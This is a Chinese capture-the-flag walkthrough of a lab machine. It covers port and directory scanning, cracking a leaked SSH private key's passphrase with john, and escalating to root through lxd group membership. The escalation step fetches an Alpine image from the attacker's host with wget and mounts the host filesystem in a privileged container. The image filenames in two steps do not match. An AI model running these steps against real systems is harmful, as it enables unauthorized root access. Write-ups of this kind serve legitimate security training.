靶机ip:10.10.121.5
信息收集
nmap扫描
nmap --min-rate 10000 -sS -sV -sC 10.10.121.5

只开放了22和80端口
80端口

非常炫酷的界面
浏览之后发现在http://10.10.121.5/about.html# 下,有个upload按钮,点击一下

这时候发现就跳转到了可以浏览目录的页面

在dict.lst中是一个字典

将其下载到本地,留着以后可能用得上
manifesto.txt内容如下,是一封信

得到一个用户名Mentor
现在我们有了一个用户名和一个密码字典,之前端口探测的时候,发现22端口是开放的,我们可以尝试通过爆破ssh密码尝试登录
获取普通权限

很可惜,没有破解成功,继续尝试扫描一下目录
gobuster dir -u http://10.10.121.5/ -w /usr/share/wordlists/dirb/common.txt

发现有几个特别的信息,查看一下

robots.txt里的信息并不太重要,因为我们之前点击upload访问过这个目录

这个/secret目录是个新目录,之前没有找到,查看一下secretKey文件

发现这是RSA私钥文件,下载下来保存为id_rsa并赋予600权限,爆破加密私钥的密码
先将id_rsa转换为hash格式
ssh2john id_rsa > rsa_hash

使用john开始爆破
john rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
使用john rsa_hash --show查看结果

找到密码letmein,使用ssh私钥登录
ssh Mentor@10.10.121.5 -i id_rsa

登陆后还是失败了,肯定是之前有哪些信息没有注意到

在首页源码处发现另一个用户john,使用这个用户尝试登录
ssh john@10.10.121.5 -i id_rsa

登陆成功,看来之前的那封信只是一封信而已

直接在当前目录找到user.txt
权限提升
sudo -l由于缺少密码利用不了,查看其他内容时也没有可以利用的信息
使用id查看一下当前权限

发现可以利用lxd提权
- 攻击机准备
通过git将构建好的alpine镜像克隆至本地;执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成
将tar文件发送至目标设备
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
运行完上述命令之后,会在当前目录下创建一个tar.gz文件,之后我们需要将其发送至目标系统
另一方面,我们还需要将alpine镜像发送至目标系统的/tmp目录中
python -m http.server 8081

- 靶机操作
cd /tmp
wget http://10.11.101.220:8081/apline-v3.10-x86_64-20191008_1227.tar.gz

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
使用lxc image list命令即可检查可用的容器列表

执行以下命令进行提权
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源

最后在/mnt/root/root下找到root.txt

说些什么吧!